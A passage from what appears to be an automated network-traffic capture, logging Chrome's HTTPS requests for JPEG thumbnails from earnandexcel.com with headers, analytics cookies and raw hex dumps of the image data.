c5 6b a2 a3 8e 4a 70 c6 3a 4b d9 c7 58 1b 2b 87 d9 3b 26 fc Data Ascii: K8HktOA545}T@oupdLV%Tu:v\|G>P1RY#;fmPqT:vT8EOZ8>Vphx_FX?J-&)jd1Fn<=YcH)$#n!["URGu=}mB>G0Y{fkJp:KX+;&
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 6a ab f0 dc 31 94 f5 2c 92 30 d9 03 dc 6c 0b 80 3b ca 78 ca 1a 30 ca 38 8e 57 c2 eb 2a b0 78 e4 9e 7a 68 e4 91 e6 47 8d 67 11 b4 ec 2a 19 9f f4 a5 36 67 cb 33 e1 8f cb 95 94 2d 91 ec 77 0d 23 89 6b 6c eb f7 21 38 e5 cd 31 d4 61 38 0d 05 03 72 ad 7d 40 a7 81 91 89 5a e3 67 d8 5a e3 b5 4f 31 c9 25 3a 79 8d fb 63 62 73 ec 45 92 bb c9 1f 95 7f ac ab b3 92 70 01 a6 31 80 f5 3d bd 4d e9 6d 7e 03 5d d6 d6 e0 ef 7b de fb d3 ef b3 a5 4f c0 ec 47 c7 3e a2 86 1d 21 ca 74 96 33 37 50 ea b5 f8 0e 0f a4 b5 8e bf b4 d5 be ef 9f 72 24 e3 ec 16 4e 97 8e 1d f6 2d af 62 2c 95 de 48 fc ab fd 64 d5 9a f4 5d 94 70 fc b5 8a 55 d3 60 f1 c7 3c 14 b2 49 1b c4 8f 3a ae 0d 24 1d e9 b7 d9 d2 a7 e0 76 23 e3 9f 51 37 e6 0d 32 d4 62 98 1e 21 42 72 ad 7c 02 a2 07 c4 65 73 8d 99 70 45 cf Data Ascii: j1,0l;x08WxzhGg6g3-w#kl!81a8r}@ZgZO1%:ycbsEp1=Mm~]{OG>!t37Pr$N-b,Hd]pU`<I:$v#Q72b!Br\|espE
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 0e a7 0f 11 66 b5 b5 af 6b ef 56 c1 3b 4a 75 fe 52 cd 2a c5 48 10 8e 24 29 9d 02 a1 22 10 02 a4 42 10 00 84 24 40 1e 76 e8 ac fb e9 96 ff 00 43 53 e7 46 a8 59 46 c2 af be 8a bf be 79 6b f4 35 3f 6c 6a 85 98 6c 5a ba 6f 94 64 ea be 71 66 68 74 6b 60 58 b0 e4 9d a7 fe 54 eb 31 b4 a4 78 53 5e 85 c5 f0 ac 64 72 49 19 fa 8a 74 a8 db 52 ef 8d 5d 53 c1 c1 77 99 19 31 a4 b8 ec 58 3e 33 72 bb 69 e9 cb c6 b0 17 49 2c 36 25 6a c5 e5 1e 0b 50 dc 6d 79 39 29 e3 22 45 21 a2 b8 82 c1 34 45 17 6c 9f a8 61 3c 08 ba 8c de 11 0a fe 3b 3b 1b e9 09 16 05 3e d0 db 54 a6 68 a2 20 a7 aa 06 f6 85 71 5a cd ad 1a c3 c0 ec 22 b8 4d 58 b4 56 8d db 14 99 b4 bb 37 26 9c 5e 9b ee 6e d8 b2 e1 2e e6 dd d4 be 16 41 62 8b f8 56 ee 35 2c a0 84 f0 63 67 12 67 82 8f f8 4d c8 e3 52 da 0a 41 c1 Data Ascii: fkV;JuR*H$)"B$@vCSFYFyk5?ljlZodqfhtk`XT1xS^drItR]Sw1X>3riI,6%jPmy9)"E!4Ela<;;>Th qZ"MXV7&^n.AbV5,cggMRA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.17	50047	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2346	OUT	GET /wp-content/uploads/Pivot-Tables-1-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:58 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 18698 Connection: close CF-Ray: 872e0ed8ae8842a0-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-490a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fKPEjX%2Fchv1c04RObJ8ivqPdpvp7g0lqReM0q%2F5u5dv4Dmk1sFNwaCeSJNhRc6%2BC2qhdGD3eAWOG8KA4pJUld7Vb6EtpdbmC4nEJ3GgONm0%2FzXa2jzf9qg4N4yP%2F6CDKBFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:58 UTC	460	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 07 03 08 ff c4 00 58 10 00 01 03 02 02 04 05 0b 0d 0d 07 04 03 01 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 93 d1 14 17 22 52 53 61 71 74 91 92 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"X!1AQ"RSaqt
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: d7 12 fd a9 b5 97 95 89 45 de 47 29 0f 64 57 32 96 ef 74 52 0a e6 db d5 9d 1c 56 88 e6 e3 b1 72 70 5d 88 48 21 4b 4e 64 15 21 71 9c ac bd d3 19 a2 bd d4 ab d8 9b 49 15 ee b4 a8 d5 33 6b d1 b9 07 51 05 c1 16 51 ae 61 8c d8 ab 1c b0 5e ea 3a aa 97 58 15 b5 86 af e8 72 de 21 81 bf 99 75 18 b1 cb ab 5c b8 6a 98 dc 41 5d 1a 56 b4 25 74 73 53 8d 9d 99 dd a6 e1 1a e6 d2 96 0a 94 85 a1 40 a3 de 0a 48 46 0a 51 a2 1a 2c 53 98 42 6f b8 ae d1 bd 2a 12 7a a2 c5 80 c6 2f ac 46 f3 bd 5a 99 0b 75 41 b8 54 7c 36 b1 d1 3f 54 6e 56 ca 1a a7 4b 1d 89 58 de 21 4e 59 b3 1d 3f 83 54 83 a5 95 0f 0b 58 d5 cd cf 00 1b 04 09 e5 29 04 b3 8d 67 25 b9 b4 e3 b0 da 59 89 24 24 b4 b8 a5 ca e6 02 6c 02 e0 67 e4 56 a2 ae b4 45 57 1b 3d 58 f2 00 eb a7 ec 68 b6 d2 a2 22 9c df 7a 76 ca 83 65 Data Ascii: EG)dW2tRVrp]H!KNd!qI3kQQa^:Xr!u\jA]V%tsS@HFQ,SBo*z/FZuAT\|6?TnVKX!NY?TX)g%Y$$lgVEW=Xh"zve
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 65 8e 9d f2 62 3c ea 50 ce 58 e7 6f 5f f4 ba e9 23 38 2f fc 16 a7 86 57 7d 1a fb 9b 24 d5 a0 02 18 76 9e 34 d3 84 db 73 bd 65 2d ce b8 e5 c0 1d 53 b4 ef 75 b6 27 4d ce 58 cc 7f 9c 35 c3 be d1 d0 ac 42 b4 2d a1 99 5b c0 f1 32 7a c9 7d cd 4e 0a 82 e7 6a 95 25 00 d6 59 1c 3a 43 c6 60 da 05 3b bc 31 84 fa 2d 2a 63 11 7b aa 7a 37 7f c4 f4 a8 2a cb 37 ba 5f c1 78 7c e8 fc 47 73 5a 63 36 2b 3e 5b cd 0e c3 5a 29 ea 9a e7 c1 c4 46 f6 ac 2a 2d 32 56 c7 f7 cc 32 99 df aa 5c 3f 8a b4 e4 ed 23 52 66 7a a3 43 2d 3f 52 55 58 96 37 5a ed 78 1c 9d f5 8b 8a c3 ba 8b ce b4 3a 9c 15 65 45 f9 1e a6 f2 cc d1 84 70 7a e2 a6 ff 00 f6 ea 9b aa a6 2f 88 fa e7 5c f9 da 08 66 e6 83 c8 a2 a2 62 70 c6 aa 34 f0 d1 83 ba 34 ea 62 a7 51 59 8b 68 4b 01 13 42 58 0a 75 12 24 c0 11 80 94 02 Data Ascii: eb<PXo_#8/W}$v4se-Su'MX5B-[2z}Nj%Y:C`;1-c{z77_x\|GsZc6+>[Z)F*-2V2\?#RfzC-?RUX7Zx:eEpz/\fbp44bQYhKBXu$
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 0a 6e 5a 36 ba f7 0a 3e aa 83 61 0c 2a a4 dc a2 58 8b 4d 11 24 ae 64 ae d3 53 c9 1d ee df a5 35 73 ed b0 a8 f9 81 ca 95 fa 06 e2 ab 79 db f1 6f 13 f1 69 3d 12 ac 37 b8 55 dc ef f8 b5 89 f8 b4 9e 89 5b be 19 3c cd 19 78 f8 5a 27 99 18 6c 4a ba e8 64 df 49 f9 7b c6 1d e8 39 52 5a 76 15 73 d0 c1 ff 00 a9 f9 7b c6 0f a0 e5 d2 55 7e cd fd 0c da 0b da 2f a9 ec c4 11 20 b0 8d e0 d0 44 82 00 08 21 74 57 40 06 89 04 10 00 41 0b a0 80 02 08 20 80 02 08 20 80 0c 20 89 18 40 01 1a 24 10 01 a0 10 42 d7 40 07 c4 8d 10 43 72 00 34 02 08 20 00 82 08 20 00 82 08 20 00 8e e8 82 08 00 d0 41 04 00 10 41 04 00 10 41 04 00 14 76 64 fc 5e c5 3c 52 6f 40 a9 15 1f 98 b6 e5 fc 53 c5 26 f4 0a 54 0c f1 04 47 ee 4d f0 05 67 d1 af e3 c6 14 7f d5 fe 05 55 21 77 dc db fa a1 5a 34 6a ff Data Ascii: nZ6>a*XM$dS5syoi=7U[<xZ'lJdI{9RZvs{U~/ D!tW@A @$B@Cr4 AAAvd^<Ro@S&TGMgU!wZ4j
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: d2 44 cc 73 c2 4d 84 8d 4e 58 14 0b 42 93 65 4c ad 6b 40 22 d6 1c 5d e4 26 57 9d 3d 89 18 c6 d1 e1 53 31 35 56 a3 aa 97 58 6d 1b f9 14 bb 31 1a 8b ec d4 f3 42 52 9d 6a 32 7d 09 88 9a 9d 46 d5 0d 16 21 50 78 d9 e6 84 ee 2a e9 f9 5b e6 84 5c a7 2a 32 44 c4 6d 4e a3 6d 94 3c 75 b3 f6 cd f3 42 75 1d 5c c7 e1 0f 20 46 64 56 94 1a 37 7c 07 de 5a 1f d8 33 ec 4f 94 7e 5e 3a d8 1e 1e 4e f3 4e cf 44 29 05 6d 74 3d 67 0d f0 a1 f4 5f a0 10 41 04 a4 c0 41 04 10 00 41 04 10 00 41 04 10 00 40 20 82 00 08 20 82 00 08 20 8d 00 12 08 20 80 02 63 8f 6d c0 b1 1f 15 97 d0 29 f7 12 65 8e fb c9 88 78 b4 be 81 40 1e 0c 89 df 73 6f 80 2b 56 8d 1d fd f7 c1 fc 60 2a 94 67 b0 6f 80 2b 4e 8d cd b3 b6 0f e3 0d 5b 75 df b1 97 d1 fe 87 3f 05 ed 17 d4 f5 4c 23 5b 6a ec e2 18 12 69 80 d5 Data Ascii: DsMNXBeLk@"]&W=S15VXm1BRj2}F!Px[\2DmNm<uBu\ FdV7\|Z3O~^:NND)mt=g_AAAA@ cm)ex@so+V`*go+N[u?L#[ji
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: d1 af c4 8a 94 4c 8a d0 54 e4 e2 fd 0d 00 e3 2e 76 c0 eb a8 ec cf 55 24 99 5f 16 d6 06 dd 49 26 df f8 95 cb 04 81 d5 00 38 a7 f9 b6 94 45 94 31 7f 14 93 d1 2a f5 28 4d b4 67 56 c4 c1 45 a3 cc cc 21 cd b8 37 57 4d 0e 03 d7 37 2e f8 d1 f4 1c a9 34 e3 ee 43 c2 7e d5 78 d0 f7 f8 99 97 3c 6b ff 00 47 2d ba 9a d2 6f e4 64 52 d2 aa 5f 33 d9 48 20 82 c4 36 80 8c 22 46 10 07 9a 7d 52 3b 73 c5 2f 88 b3 d3 7a ca da 16 ab ea 91 1f df 8a 5f 11 67 a4 f5 96 34 2a b3 ea ce 7b 15 f1 24 38 a3 a5 96 b2 a2 2a 78 18 64 96 57 06 31 a3 79 27 70 5e 93 cb 8c a2 d1 ee 57 c3 a8 f1 3a db 17 48 d8 f5 9c 6e 38 47 9d c3 bc 16 7f a1 ac a2 c0 ef 64 35 ad 6d c5 db 4a d7 7e f7 ff 00 01 f4 a8 6d 2b 66 bf 5f f1 f3 47 4f 21 34 74 04 c6 db 6e 73 fe 13 bf 87 d0 9f 1f 24 73 0f a4 f9 7a 7c 57 d5 Data Ascii: LT.vU$_I&8E1(MgVE!7WM7.4C~x<kG-odR_3H 6"F}R;s/z_g4{$8*xdW1y'p^W:Hn8Gd5mJ~m+f_GO!4tns$sz\|W
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 58 35 5e 2f 5a fa 13 4d 48 ce 12 4e 0e 52 5d 6e f0 b2 66 49 6c 53 96 16 b7 6b 29 11 48 f8 fd c3 dc db f2 1b 2e a5 ef 90 dd ee 73 8f 29 37 51 ed c4 e9 ff 00 ef f2 2e 8d c5 29 b9 5f e6 a4 ca ca f2 a1 57 66 3f 1b 14 2e 23 f8 64 9f 47 d8 9f 8c 56 96 db de 7b da aa 2e 79 cd 44 ef 94 8b 6b 1d 83 90 25 84 5a 26 c1 d1 9c 24 dc 95 82 8b dd b7 c2 15 d6 26 aa 53 49 07 62 74 dc 46 ae ff 00 84 49 e5 4f 68 9b 13 87 75 6d 66 5d 62 6a 75 13 55 19 98 85 67 c6 24 f2 ae ec c4 2b 3e 33 2f 9c 99 63 3a 5e 1b 37 fc 48 be c4 d4 ea 36 d8 2c fd 98 85 67 c6 65 f3 8a ec ca fa cf 8d 4d e7 14 96 2b cb c2 66 ff 00 89 1e bd cb 47 fb bf 87 78 b4 7e 88 52 41 42 e4 c7 17 65 2c 19 ce 24 93 45 09 24 f1 f6 01 4c 85 71 74 3b 9a 31 cb 4e 2b e4 83 50 39 f4 ff 00 73 31 bf 13 97 d1 2a 79 40 e7 cf Data Ascii: X5^/ZMHNR]nfIlSk)H.s)7Q.)_Wf?.#dGV{.yDk%Z&$&SIbtFIOhumf]bjuUg$+>3/c:^7H6,geM+fGx~RABe,$E$Lqt;1N+P9s1*y@
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 92 be 59 1c cc 9f ca bc e3 81 61 ed c5 b1 9a 1c 3d ef 74 6c a9 9d 91 17 b4 5c b4 12 05 d6 cb ed 78 c2 fe 5b ad e6 da a0 a7 9a da 19 98 57 55 27 c3 45 a7 af 06 4a f9 64 73 32 7f 2a 1d 78 72 57 cb 23 99 93 f9 55 5b da f1 85 fc b7 5b cd b5 0f 6b c6 17 f2 dd 6f 34 d5 25 e7 b1 67 36 23 64 67 da 4d c7 f0 ec 7f 3b 3f 12 c3 aa 38 7a 52 c8 87 09 aa 46 d0 36 ec 3b 56 d1 16 97 f2 53 63 68 38 c0 04 00 3e f3 27 f2 ac 23 3f 65 78 72 7e 63 97 09 82 a2 4a 86 32 36 3f 5d e0 02 75 85 f8 95 71 44 a6 e2 d9 4d 57 9d 39 4b 76 7a 74 69 87 25 7c b2 39 99 3f 95 0e bc 39 2b e5 91 cc c9 fc ab cc 48 25 e2 b1 fc f5 4d 91 a0 e9 97 34 61 39 a3 1a a1 a9 c2 2a 85 4c 51 53 ea 3d da 8e 6d 9d ac 4d b6 81 ca b4 cc bd a5 7c 9f 43 80 e1 d4 b3 e2 e1 93 43 4d 1c 6f 6f 02 f3 67 06 80 46 e5 e7 24 Data Ascii: Ya=tl\x[WU'EJds2xrW#U[[ko4%g6#dgM;?8zRF6;VSch8>'#?exr~cJ26?]uqDMW9Kvzti%\|9?9+H%M4a9LQS=mM\|CCMoogF$
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 27 21 fc f8 cc ee 1d 85 9a 13 4f 5e ab 35 ac 25 70 f0 2e 6e 36 6a 6c e3 62 ac b8 23 96 8d 59 cb 56 cb be 5f c6 66 91 ba 92 c8 49 1d f5 31 2d 69 df ac 4f d2 a9 98 3c 85 af 6a 9b e1 75 9d 6b aa 95 28 c6 f7 45 bc 36 3a 79 1c 64 c7 82 a1 f2 4b bf 8d 1e 20 5c 22 36 e4 49 a4 8c b9 e0 f7 d3 da c8 2f 12 8f 32 5a 16 e0 a5 38 b6 55 e9 1e e6 cb aa e7 1d ea c9 4c 6d 1e f5 59 aa 1c 0c e6 db 0d d4 cd 35 48 75 38 b1 db 64 57 8b d2 48 ab 83 af 67 2a 53 f4 20 dd f8 70 3d f5 73 c2 9d 68 82 a7 96 de af e9 56 bc 34 91 18 f0 28 2a bb a4 4f 81 8b 8c a4 c9 47 be cd 2a bd 8c 4b 60 e5 31 23 8e a9 55 9c 72 42 1a 52 50 5a 92 e3 a7 6a 6c 67 87 49 fd a3 7f 1a b7 d1 bb ee 7f 42 a4 e1 87 fb 40 57 3a 22 78 3f a1 4b 89 5a 95 3c 2e 5e 46 35 c4 cf 60 e5 9e 66 ed 98 36 25 fb 17 2d 0b 12 f7 Data Ascii: '!O^5%p.n6jlb#YV_fI1-iO<juk(E6:ydK \"6I/2Z8ULmY5Hu8dWHgS p=shV4(OG*K`1#UrBRPZjlgIB@W:"x?KZ<.^F5`f6%-
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 6f e7 e4 e9 49 c2 90 c7 82 a8 f5 6c f3 52 0b d2 bd 66 f2 5f c9 6f e7 e4 e9 43 ac de 4b f9 2d fc fc 9d 28 e1 48 4e 46 a6 e8 f3 52 0b d2 dd 66 f2 5f c9 6f e7 e4 e9 43 ac d6 4b f9 2d fc fc 9d 28 e1 48 39 1a 9b a3 cd 28 2f 4b 75 9a c9 7f 25 bf 9f 93 a5 0e b3 59 2b e4 b7 f3 f2 74 a3 85 20 e4 6a 6e 8f 34 ad 73 d4 ef ef 9e 31 fb 18 fd 22 af 5d 66 f2 5f c9 6f e7 e4 e9 53 19 6f 24 e0 59 4e 59 e5 c2 29 0c 0f 9d a1 af 26 47 3a e0 6e de 53 a3 4d a7 72 5a 38 49 c2 6a 4c 9e 5c 6a bf 05 9b f5 1d f6 15 d5 72 aa fc 1a 6f d4 3f 61 53 58 d0 3c 12 e1 d8 f9 52 28 76 62 54 c7 92 66 7a 41 75 e2 3e 12 91 4a 3f b7 d3 91 dd 5b f6 ad bb 79 51 80 9d a4 cd d3 37 bb 57 55 46 60 8f e1 1e 36 a7 79 e2 4d 46 b1 47 e5 10 e9 e7 6f 22 7c 17 b4 b1 8d 88 aa b9 7b fc ec 5b a4 a6 2f a7 dd 75 1d Data Ascii: oIlRf_oCK-(HNFRf_oCK-(H9(/Ku%Y+t jn4s1"]f_oSo$YNY)&G:nSMrZ8IjL\jro?aSX<R(vbTfzAu>J?[yQ7WUF`6yMFGo"\|{[/u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.17	50044	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2351	OUT	GET /wp-content/uploads/Excel-MI-Dashboards-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:58 UTC	917	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 20053 Connection: close CF-Ray: 872e0ed8be02434f-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-4e55" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FyQ6%2F6Y4HQrayezvysl%2FDb7dRo1XmrY3t8aqH1AFvwGQyB%2FXPQ8tXUkTBaK%2F%2F2GwFwH%2B6%2FkAy9OTR67Jqi3swcZKPmFuGifLx2Cf94QeE8xi1NZwKpjPcGpyIgjNm8AZ%2Bvc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 07 03 08 ff c4 00 59 10 00 01 03 02 02 04 04 0d 0e 0b 07 04 02 03 00 00 01 00 02 03 04 05 06 11 07 12 21 31 13 41 51 d1 14 22 32 52 53 61 71 81 91 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"Y!1AQ"2RSaq
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 3b 43 4e 61 33 e9 9a 72 20 ac ac 62 db e1 cf ff 00 c9 d5 1f fb 87 9d 17 b2 6b c3 b6 ba e1 50 7b af 2b 46 ad 43 8f 26 8c 2d 47 81 bb 1e e8 cb 06 ae d7 14 b6 b8 ac 93 d9 25 db e3 d3 f8 c5 01 88 6e df 1f 9f c7 2a c2 d6 2e c5 47 fd 9e b3 de 8d 78 38 a5 07 15 90 0c 45 75 1f b7 cf e3 94 63 12 dd 86 ce 8f 9f c7 3c e9 dc 62 ec 33 fe 1d b3 de 8d 79 d9 94 6c 24 2c 8b d9 35 d7 e3 d3 78 c5 17 b2 7b a8 fd ba 7f 1c a7 71 91 ec 27 fc 39 6f bd 1b 3c 52 39 a7 30 72 21 4b db ae 92 34 ea bb 72 c6 ac 12 62 5c 41 1c f2 51 d7 49 a9 06 40 9d 67 12 49 cf 60 03 b8 9a 57 5f ef f6 ba 81 0c d5 f3 0d 66 eb 35 cd 79 da 12 4e f8 ce 2f 31 e4 4f 47 80 6a b4 ed 4d 4d 61 ff 00 4f fe 9e 87 65 69 77 1a e8 26 7b b8 d7 9c 9b 8b af 3b fd 74 